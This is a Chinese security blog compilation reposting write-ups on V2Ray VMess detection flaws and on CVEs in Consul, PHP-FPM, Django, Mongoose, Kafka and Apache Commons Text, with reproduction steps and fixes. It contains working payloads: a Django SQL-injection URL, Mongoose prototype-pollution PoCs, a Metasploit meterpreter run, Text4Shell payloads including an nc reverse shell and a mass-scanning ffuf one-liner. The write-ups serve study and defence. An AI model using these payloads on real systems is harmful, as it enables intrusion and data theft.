V2ray协议爆发了重大安全漏洞

V2ray协议爆发了重大安全漏洞

本文转自DolorHunter 并作补充

服务器端的 V2ray 更新到 v4.23.4 以及之后的版本可以解决这一问题, 请大家尽快更新.

这可能是 V2ray 自 15 年发布 v1.0.0 以来面临的最大危机.

六一前后, 有大量网友反应自己的裸 V2ray 配置(Vmess+TCP 的默认配置)失效了, 我本来也没太当回事, 毕竟过几天就是 535 了, 断一断网是老传统, 并没有什么好说的. 不过有一点与以往不同, 这次被阻断的用户都是使用默认配置.

V2ray 的默认配置是 Vmess+TCP. 虽然中庸普通, 但它并不是一个容易被阻断的配置. 之前被阻断的 V2ray 配置通常都是些 KCP/mKCP 或是 QUIC 这类的基于 UDP 协议的配置. UDP 通信数据特征明显, 因此容易被 GFW 逮个正着. 而 TCP 是可靠协议, 而且目前大量的网络数据也是基于 TCP 协议, 因此 TCP 协议一直都还算安全.

我的认知里Vmess协议有个安全性排名: Vmess+TCP/WS/HTTP2+TLS > Vmess+TCP/WS/HTTP2 > Vmess+KCP/mKCP/QUIC. 如果用白话来解释就是带TLS的配置是最高一档90分优秀, 中间配置60分及格凑合, 最后一档是不及格. 我一直认为, 只要不用 KCP/mKCP/QUIC 爆炸三兄弟, 还是能舒心上网的. 然而我的预判出了大错误.

发现重大安全漏洞

QV2ray-dev 社区首先发声. 六一当天, QV2ray-dev 警告用户不要使用 Vmess+TCP, 部分 Vmess+WS 及部分 Vmess+ws+TLS(insecure) 的配置组合. 他解释到 GFW 正在进行主动探测, 在 30s 内就可以接近 100% 的探测出你是否使用 Vmess+TCP 的配置, 其他配置亦可以受到波及. 并且此问题并无解决方案, 解决该问题可能需要重新设计 Vmess 协议.

看到了这条消息后, 当下到 V2ray 社区逛了一圈, 发现事态比想象中的严重许多. p4gefau1t 发了一个名为 v2ray的TLS流量可被简单特征码匹配精准识别(附PoC) 的帖子. 过后十几小时又发了个名为 vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) 的帖子. 这两个帖子在短短几小时内已经获得了数十个回复, 并且多为负责此项目的大牛.

p4gefau1t 首先发现仅凭tls client hello的cipher suite字段,就可以非常准确地将v2ray流量和正常浏览器流量区分开来。

他通过 这篇文章 中提到了使用机器学习训练的模型可对v2ray的tls+ws流量进行识别,准确率高达0.9999. 后来, 经过本地测试,可以复现。并且不限于tls+ws,对tls+vmess等组合也同样有效。其他tls流量如浏览器流量等,全程没有出现误报情况。因此初步怀疑是v2ray使用的utls进行client hello伪造出现的问题。

通过抓包对比真实的chrome与utls的client hello,发现两者基本一致,但与v2ray的存在较大差别,其中包括suite和extension的差别。此后,我们将utls的chrome的cipher suite patch到v2ray中后,此模型无法识别v2ray的tls流量。所以我们可以初步认为,模型很可能是学习了tls client hello的特征,导致流量被识别。

他发现识别tls client hello并不需要使用机器学习的方法,简单的DPI即可实现,因此在gfw部署的成本很低。并且,由于这组cipher suites太过特殊,我们可以仅凭cipher suites进行准确识别。

Cipher Suite 的特征有多特殊呢? 帖子下的网友随手撸一个从 0x90 偏移量开始的 memcmp 都能精准高效识别“特征码”:cca8cca9c02fc02bc030c02cc027c013c023c009c014c00a130113031302 甚至可以利用 iptables 进行明文匹配…… 帖内多个网友用其他配置也多次复现成功, 都得到了相同的特征码.

这个漏洞可以说是十分棘手. 几乎可以说只要 GFW 想, 随时可以全国断网, 并且不分配置(不管有没有 TLS 都是死路一条).

p4gefau1t 在十几个小时后又发了一个帖子. 这次他构造出了更具杀伤性的PoC, 仅需16次探测即可准确判定vmess服务,误报可能性几乎为0,校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。

16 字节 X 字节 余下部分
认证信息 指令部分 数据部分

Vmess 协议前16字节为认证信息,内容为和时间、用户ID相关的散列值。根据协议设计,每个16字节的认证信息auth的有效期只有30秒。而问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式,因此攻击者可以篡改其中内容,而仍然能被服务器接受。

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节 2 字节 1 字节 N 字节 P 字节 4 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd 端口 Port 地址类型 T 地址 A 随机值 校验 F

前16字节的认证信息可以被重复使用,并且只要通过认证,执行流即可进行到140行,初始化aes密钥流。接着在144行处,服务端在没有经过任何认证的情况下,读入38字节的密文,并使用aes-cfb进行解密,在没有进行任何校验的情况下,将其中版本号,余量P,加密方式等信息,直接填入结构体中。

这里问题已经很明显了,攻击者只需要得知16字节的认证信息,就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击,因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段,但是读入余量的方式出现了问题:在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下,将P直接代入ReadFullFrom中读取P字节(182行)。注意,这里P的范围是2^4=16字节以内。读取P+4字节后,v2ray才会对前面读入的内容进行校验,判断命令部分是否合法。如果不合法,断开连接。

临时性纾困方案

V2ray 社区针对这一漏洞在一周内接连推出了两个小的版本更新, 4.23.3 和 4.23.4.

V2Ray 项目在最近的几天内收到了数个隐匿性能方面的漏洞报告。这些漏洞都在被提出的数个小时内被解决(除 mKCP 修复暂缓)并发布相关更新。您可以升级到最新版本 v4.23.4 来获取最大程度的保护。我们支持和鼓励寻找并提出 V2Ray 各个方面漏洞的人。我们希望 V2Ray 的用户不要指责或者攻击为我们提供安全审计的人士。

可以使用

如果你已经升级到 V2Ray v4.23.4,并且没有开启 TLS 的 AllowInsecure 选项,以下配置组合不会泄露识别信息:

VMess over Websocket with TLS

VMess over TLS

VMess over HTTP/2 (使用 TLS 的 HTTP/2,并非 h2c)

Shadowsocks(AEAD) over Websocket with TLS

谨慎使用

以下配置组合可能会在攻击者位于网络路径上时可能会使攻击者获得的协议数据的一些统计学属性,但是这些信息不足以用于确定服务器上部署了这些协议

VMess over TCP (还在继续改进中) 已修复, 可以正常使用

并不建议

以下配置组合不建议用于穿越被攻击者控制的网络:

任何协议 + SOCKS5

任何协议 + HTTP 代理

任何协议 + HTTP 伪装

任何协议 + mKCP + 任何伪装

-xiaokangwang 于 关于在近期收到的数个漏洞的项目组公告

协议的长期解决方案

重写 Vmess 协议可能是在较长时间内解决这一问题的唯一出路.

Vmess 协议已经诞生了很长一段时间. 那时候互联网上tls并不普及,tls1.3也还没出来。因此协议过时出现问题可以说是必然. 依照此趋势, 我倾向于认为下一代的 Vmess 默认协议可能会是类似 Vmess+TCP/WS/HTTP2+TLS 的设计. HTTP3 短期看来不太可能有具体应用, 毕竟 QUIC 作为 HTTP3的雏形, 翻车翻成什么样大家心里都有数.

这次可能可以说是 V2ray 面世五年来遇到的最大一次危机. 不过, 目前的两个紧急补丁已经缓解了燃眉之急, 并且就 V2ray 社区的效率(两天内连续两个补丁), 我基本上已经消解了我之前的随时可能断网的担忧了.

当前社区内对于新协议的讨论如火如荼, 每天都能看到新的点子冒出来. 过不了多久可能就会见到新的用于替换当前的 Vmess 的协议, 或者是目睹 V2ray 终于要进入 v5.0.0时代. 不论是目睹了其中的任何一件, 都是在见证历史, 见证开源社区的协作, 见证又一次与 GFW 的缠斗.

CVE-2022-29153 consul SSRF

CVE-2022-29153 consul SSRF

本文转自cokeBeer 并作补充

漏洞信息

  • 漏洞类型:SSRF
  • 漏洞版本:< 1.9.17,>= 1.10.0, < 1.10.10,>= 1.11.0, < 1.11.5
  • 漏洞简介:http类型的health_check被重定向导致的SSRF

repo介绍

consul是一个用go语言编写的分布式应用管理服务器,目前在github上已经有24.7k个star

漏洞分析

consul提供了对于服务的health_check能力。首先安装一个漏洞版本的consul

1
2
3
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
sudo apt-get update && sudo apt-get install consul=1.10.9

然后启动一个consul服务器

1
consul agent -dev -enable-script-checks -node=web -ui

访问http://localhost:8500/可以看到consul的界面

image

编写一个ssrf.json作为poc,里面标志的http地址会将请求302重定向到127.0.0.1:80

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"ID": "ssrf",
"name": "ssrf",
"port": 5001,
"check": {
"checkid": "ssrf_check",
"name": "Check ssrf",
"http": "http://fuzz.red/ssrf/127.0.0.1/",
"method": "GET",
"interval": "10s",
"timeout": "1s"
}
}

使用如下指令将health_check注册到consul服务器

1
curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register

可以看到添加成功

image

这时consul会主动运行health_check,请求被302重定向到内网,导致了SSRF。可以看到nc也收到了请求

image

修复方式

agent/config.go中添加DisableRedirects字段,可以在服务器端配置,关闭health_check的重定向

image

参考链接

Hashicorp Consul Service API远程命令执行漏洞

Hashicorp Consul Service API远程命令执行漏洞

本文转自starnight_cyber 并作补充

简介

Consul是HashiCorp公司推出的一款开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比,Consul提供的方案更为“一站式”。Consul内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(例如ZooKeeper等),使用方式也相对简单。

Consul使用Go语言编写,因此具有天然的可移植性(支持Linux、Windows和Mac OS X系统);且安装包中仅包含一个可执行文件,便于部署,可与Docker等轻量级容器无缝配合。

在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令。

环境搭建

https://releases.hashicorp.com/consul/1.2.4/ 下载相应 Linux 版本,直接启动服务即可。

1
./consul agent -dev -client your-serv-ip -enable-script-checks

访问:http://your-serv-ip:8500/v1/agent/self

启用了 EnableRemoteScriptChecks: true

image

漏洞验证

  1. 使用 MSF 进行测试,简要过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 > search Hashicorp

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/misc/nomad_exec 2021-05-17 excellent Yes HashiCorp Nomad Remote Command Execution
1 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
2 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API


Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/misc/consul_service_exec

msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

可以看到成功创建 meterpreter。

image

修复措施

  1. 禁用Consul服务器上的脚本检查功能
  2. 确保Consul HTTP API服务无法通过外网访问或调用
  3. 对/v1/agent/service/register 禁止PUT方法

参考

https://blog.csdn.net/qq_44159028/article/details/115870000

https://releases.hashicorp.com/consul/1.2.4/

https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960

以上!

CVE-2019-11043漏洞分析与复现

CVE-2019-11043漏洞分析与复现

本文转自STong66 并作补充

漏洞描述

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO

为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ [^/]\.php(/|$) {

...

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

fastcgi_pass php:9000;

...

}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

漏洞类型

远程代码执行漏洞

危险等级

高危

利用条件

nginx配置了fastcgi_split_path_info

受影响系统

PHP 5.6-7.x,Nginx>=0.7.31

漏洞复现

使用某个大佬的 docker 环境进行复现:

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

准备工作:安装 docker、golang 环境

在kali中使用如下命令安装docker和golang:

1
2
sudo apt-get install docker docker-compose
sudo apt install golang

image

image

image

搭建漏洞环境

1
2
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

image

image

image

image

安装漏洞利用工具

1
2
3
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

image

image

漏洞利用

在phuip-fpizdam目录下执行 go run . “http://127.0.0.1:8080/index.php"后成功显示漏洞利用成功。

在浏览器进行了如下请求,成功复现,可以执行系统命令,id可以替换为其他OS命令。

image

漏洞分析

具体漏洞信息可参考:https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a/#diff-624bdd47ab6847d777e15327976a9227

有漏洞信息可知漏洞是由于path_info 的地址可控导致的,我们可以看到,当path_info 被%0a截断时,path_info 将被置为空,回到代码中我就发现问题所在了。

如下漏洞代码

image

在代码的1134行我们发现了可控的 path_info 的指针env_path_info

其中

env_path_info 就是变量path_info 的地址,path_info 为0则plien 为0。

slen 变量来自于请求后url的长度 int ptlen = strlen(pt); int slen = len - ptlen;

由于apache_was_here这个变量在前面被设为了0,因此path_info的赋值语句实际上就是:

1
path_info = env_path_info ? env_path_info + pilen - slen : NULL;

env_path_info是从Fast CGI的PATH_INFO取过来的,而由于代入了%0a,在采取fastcgi_split_path_info ^(.+?\.php)(/.*)$;这样的Nginx配置项的情况下,fastcgi_split_path_info无法正确识别现

在的url,因此会Path Info置空,所以env_path_info在进行取值时,同样会取到空值,这也正是漏洞原因所在。

Django SQL注入漏洞 (CVE-2022-28346)

Django SQL注入漏洞 (CVE-2022-28346)

本文转自李火火安全阁 并作补充

一、简介

Django是用Python开发的一个免费开源的Web结构,几乎包括了Web使用方方面面,能够用于快速建立高性能、文雅的网站,Diango提供了许多网站后台开发常常用到的模块,使开发者可以专注于业务部分。

二、漏洞概述

漏洞编号:CVE-2022-28346

攻击者使用精心编制的字典,通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击,该漏洞在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中都存在这个问题。

三、漏洞影响版本

  • 4.0 <= Django < 4.0.4
  • 3.2 <= Django < 3.2.13
  • 2.2 <= Django < 2.2.28

四、漏洞分析

http://cn-sec.com/archives/962127.html

五、漏洞复现

Docker

1
2
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346

本地环境搭建

环境下载:https://github.com/DeEpinGh0st/CVE-2022-28346

Python:3.9.8
Django:3.2.11

本地启动

环境初始化

1
2
3
python manage.py makemigrations
python manage.py migrate
访问http://x.x.x.x:8000/ 插入初始化数据

image

浏览器访问

image

访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)

image

访问到demo/ 目录下,同样会出现报错信息

image

利用报错中提示的参数进行SQL注入
POC:http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" –

image

六、修复方法

官方已发布安全版本
下载地址:https://www.djangoproject.com/download/

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

本文转自ehhthing 并作补充

If an attacker has some way to control an object on the Mongo server through one way or another, it is possible to cause prototype pollution on any Mongoose client. Notably, if a poorly implemented service allows a user to control the object in findByIdAndUpdate and similar functions, this bug could be triggered through the $rename operator. Another possibility is if two different services interact with the same Mongo database, it is possible that one of them allows a user to inject an arbitrary object containing a __proto__ field, which would also trigger this bug.

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

Allowing user input directly into update operations seems to be a very common pattern. For example, if we ask GPT-4 a basic prompt for updating a post using Mongoose, it gives us:

Prompt:

Using Express and Mongoose, take input from the user to find a “Post” by an id, and update its fields.

Response:

In Express and Mongoose, you can use the findByIdAndUpdate method to find a “Post” by an id and update its fields. Here’s how you can do it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const mongoose = require('mongoose');
const Post = require('./models/post'); // Assuming you have a Post model in models/post.js

const app = express();

app.use(express.json()); // for parsing application/json

app.put('/post/:id', async (req, res) => {
const { id } = req.params;

try {
const post = await Post.findByIdAndUpdate(id, req.body, { new: true });
// new: true returns the updated post rather than the original post when the operation began

if (!post) {
return res.status(404).send();
}

res.send(post);
} catch (e) {
res.status(400).send(e);
}
});

In the above example, req.params.id is used to get the id from the URL. The req.body is used to get the updated data from the user. The { new: true } option is used to return the updated post.

Proof of concept:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Resulting Database Entry

1
2
3
4
5
6
7
8
exploit> db.examples.find({})
[
{
_id: ObjectId("64a757117e3dbf11b14e0fd4"),
__v: 0,
['__proto__']: { polluted: 'world!' }
}
]

Explanation

When Mongoose finds documents and reads the malicious document into an object, it uses an object with a prototype. If the top level object contains a __proto__ field, it leads to overwrites of the object prototype.

Affected Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// document.js
/**
* Init helper.
*
* @param {Object} self document instance
* @param {Object} obj raw mongodb doc
* @param {Object} doc object we are initializing
* @param {Object} [opts] Optional Options
* @param {Boolean} [opts.setters] Call `applySetters` instead of `cast`
* @param {String} [prefix] Prefix to add to each path
* @api private
*/

function init(self, obj, doc, opts, prefix) {
// ...

function _init(index) {
// ...

if (!schemaType && utils.isPOJO(obj[i])) {
// ...

// (1)
// our malicious payload first reaches here, where:
// obj is some document
// i = '__proto__'
// so, obj[i] gives Object.prototype, which gets used in (2)
init(self, obj[i], doc[i], opts, path + '.');
} else if (!schemaType) {
// (2)
// after the recursive call on (1), we reach here
// pollution happens on the next line, where:
// doc: Object.prototype,
// obj = { polluted: 'world!' },
// i = 'polluted'
doc[i] = obj[i];
if (!strict && !prefix) {
self[i] = obj[i];
}
} else {

Credits

This bug was found by myself (@ehhthing) and @strellic_

Impact

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

We also found that we can actually exploit Mongoose itself with the prototype pollution, to cause it to bypass all query parameters when using .find(), which allows an attacker to potentially dump entire collections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import { connect, model, Schema } from 'mongoose';

const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');

const Post = model('Post', new Schema({
owner: String,
message: String
}));

await Post.create({
owner: "SECRET_USER",
message: "SECRET_MESSAGE"
});

const post = await Post.create({
owner: "user",
message: "test message"
});
await Post.findByIdAndUpdate(post._id, {
$rename: {
message: '__proto__.owner'
}
});

// this pollutes Object.prototype.owner = "test message"
await Post.find({ owner: "user" });

// now, when querying posts, even when an owner is specified, all posts are returned
const posts = await Post.find({
owner: "user2"
});

console.log(posts); // both posts created are found
/*
output:
[
{
_id: new ObjectId("64a7610756da3c04f900bf49"),
owner: 'SECRET_USER',
message: 'SECRET_MESSAGE',
__v: 0
},
{
_id: new ObjectId("64a7610756da3c04f900bf4b"),
owner: 'user',
__v: 0
}
]
*/
process.exit();

This could also easily lead to denial of service depending on how large a Mongo collection is, and which other libraries are being used in the application.

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

本文转自云鲨RASP 并作补充

漏洞简介

Apache Kafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS 配置和SASL 协议的任意Kafka客户端,对Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行JNDI 注入来实现远程代码执行。

影响版本

2.4.0<=Apache kafka<=3.3.2

修复方案

更新Apache Kafka至官方最新版本

环境搭建

通过https://github.com/vulhub/vulhub搭建

漏洞复现

exp可参考:

https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml

发起攻击请求:

构造payload ,执行新建/tmp/test.txt文件

image

验证漏洞存在,文件新建成功

image

开启RASP后发起攻击:

在业务优先模式下,RASP会出现JNDI注入的告警,拦截最终的命令执行

image

堆栈信息为

image

在防护模式下将直接在JNDI注入处被拦截

image

堆栈信息为

image

漏洞分析

开始

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Properties)

image

跟进到

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Propertiesorg.apache.kafka.common.serialization.Serializer<K>,org.apache.kafka.common.serialization.Serializer<V>)

image

调用

1
org.apache.kafka.common.utils.Utils#propsToMap

对传入对象进行处理

image

将map型的对象传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Map<java.lang.String,java.lang.Object>org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>)

image

之后调用

1
org.apache.kafka.clients.producer.ProducerConfig#appendSerializerToConfig

image

将返回的newConfigs传入

1
org.apache.kafka.clients.producer.ProducerConfig#ProducerConfig(java.util.Map<java.lang.String,java.lang.Object>)

image

将配置参数传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(org.apache.kafka.clients.producer.ProducerConfig,org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>org.apache.kafka.clients.producer.internals.ProducerMetadata,org.apache.kafka.clients.KafkaClientorg.apache.kafka.clients.producer.internals.ProducerInterceptors<K,V>org.apache.kafka.common.utils.Time)

image

赋值后调用

1
org.apache.kafka.clients.producer.KafkaProducer#newSender

image

image

调用到

1
org.apache.kafka.clients.ClientUtils#createChannelBuilder

image

赋值后调用

1
org.apache.kafka.common.network.ChannelBuilders#clientChannelBuilder

image

这里对值做了一个判断后调用

1
org.apache.kafka.common.network.ChannelBuilders#create

image

image

image

Create方法中得到map型的configs后进行switch,得到SaslChannelBuilder类型channelBuilder的对象,switch结束后调用了

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

image

image

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

进入循环后到

1
org.apache.kafka.common.security.authenticator.LoginManager#acquireLoginManager

image

image

image

判断值后到

1
org.apache.kafka.common.security.authenticator.LoginManager#LoginManager

image

image

跟进到

1
org.apache.kafka.common.security.authenticator.AbstractLogin#login

image

调用

1
javax.security.auth.login.LoginContext#login

image

调用

1
javax.security.auth.login.LoginContext#invokePriv

image

调用

1
javax.security.auth.login.LoginContext#invoke

进行逻辑判断后调用initialize方法

image

image

Initialize中得到userProvider

image

user.provider.url通过jndi提供

image

调用

1
com.sun.security.auth.module.JndiLoginModule#login

image

调用

1
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

image

通过

1
javax.naming.InitialContext#lookup(java.lang.String)

执行userProvider的值

image

image

由于RASP对javax.naming.InitialContext.lookup调用做了防护策略检测,所以会在此处拦截。

Reference

text4shell CVE-2022-42889 poc

text4shell CVE-2022-42889 poc

本文转自雨苁 并作补充

漏洞描述

在 Apache Common Text 包 1.5 到 1.9 中发现了一个存在缺陷的代码执行版本。攻击者从 Apache Commons Text 中包含的过程中成功完成,插值可能被动态定义。服务器应用程序会受到影响(RCE) 和不受远程服务器的隐私接触的影响。

Apache Commons Text 执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找是: – “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值,包括来自远程服务器 如果使用了不受信任的配置值,则在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器的无意接触的影响。

建议用户升级到 Apache Commons Text 1.10.0,默认情况下禁用有问题的插值器。

影响范围

  • 如果您依赖于使用 1.10.0 之前的 commons-text 版本的软件,您可能仍然不会受到攻击:只有当该软件使用StringSubstitutorAPI 而没有正确清理任何不受信任的输入时,您才会受到影响。
  • 如果您自己的软件使用 commons-text,请仔细检查它是否使用StringSubstitutorAPI,而没有正确清理任何不受信任的输入。如果是这样,更新到 1.10.0 可能是一个快速的解决方法,但推荐的解决方案是同时正确验证和清理任何不受信任的输入。

Apache Commons Text 是一个低级库,用于执行各种文本操作,例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。使用字符串替换功能时,一些可用的插值器可以触发网络访问或代码执行。这是有意的,但这也意味着如果应用程序在传递给替换的字符串中包含用户输入而未对其进行适当清理,则攻击者将允许攻击者触发这些插值器。

出于这个原因,Apache Commons Text 团队决定将配置更新为“默认情况下更安全”,从而减轻无法验证输入的影响,并且不会让攻击者访问这些插值器。但是,仍然建议用户谨慎对待不受信任的输入。

我们目前不知道有任何应用程序将不受信任的输入传递给替代者,因此在 Apache Commons Text 1.10.0 之前可能会受到此问题的影响。

此问题与Log4Shell (CVE-2021-44228)不同,因为在 Log4Shell 中,可以从日志消息正文中进行字符串插值,该正文通常包含不受信任的输入。在 Apache Common Text issue 中,相关方法明确用于执行字符串插值并明确记录在案,因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。

漏洞利用条件

为了利用这些漏洞,必须满足以下要求

CVE-2022-42889 poc

1
${script:javascript:java.lang.Runtime.get.Runtime().exec(\''.trim($cmd).'\')}

用有效负载替换参数值:

1
2
3
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

网址

1
2
3
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

Dns

1
2
3
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

批量

有效载荷.txt

1
2
3
4
5
6
7
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ

如何利用 CVE-2022-42889

为了重现攻击,易受攻击的组件部署在 Docker 容器中,可从 EC2 实例访问,该实例将由攻击者控制。使用 netcat (nc) 命令,我们可以打开与易受攻击的应用程序的反向 shell 连接。

易受攻击的 Web 应用程序公开了一个搜索 API,其中查询通过Commons Text 的StringSubstitutor进行插值:

1
http://web.app/text4shell/attack?search=<query>

以下有效载荷可用于利用该漏洞并打开反弹 shell:

1
${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.49.1 9090 -e /bin/sh')}

此有效负载由“${prefix:name}”组成,它触发字符串查找。如上所述,“script”、“dns”和“url”是可以作为前缀来利用漏洞的键。

在发送精心制作的请求之前,我们需要使用 netcat (nc) 命令设置反向 shell 连接以侦听端口 9090

1
nc -nlvp 9090

我们现在可以发送精心制作的请求,URL 对有效负载进行编码,如下所示。

image

我们可以看到攻击者成功打开了与易受攻击的应用程序的连接。

image

现在攻击者可以以 root 身份与易受攻击的机器交互并执行任意代码。

CVE-2022-42889 的影响

根据CVSSv3 系统,它的CRITICAL 严重性得分为 9.8 。

由于易于利用以及在机密性、完整性和可用性方面的巨大潜在影响,严重性至关重要。正如我们在上一节中通过精心设计的请求展示的那样,您可以完全控制易受攻击的系统。

但是,这些漏洞不太可能与之前的 log4shell 和 spring4shell 产生相同的影响。

查看易受攻击的组件,利用的可能性与 Apache Commons Text 库的使用有关。具体来说,只有当它使用一些用户控制的输入实现 StringSubstitutor 对象时,才有可能利用它。这种在生产环境中的实现不像 Log4j 中易受攻击的字符串替换那样普遍。因此,Text4Shell 的大规模影响并不能真正与 Log4Shell 相提并论。

检测和缓解 CVE-2022-42889

如果您受到CVE-2022-42889的影响,您应该将应用程序Apache Commons Text 更新到版本1.10。

burpsuite插件之Text4Shell漏扫扫描器

项目地址:

GitHub:
https://github.com/silentsignal/burp-text4shell

image

插件下载地址:

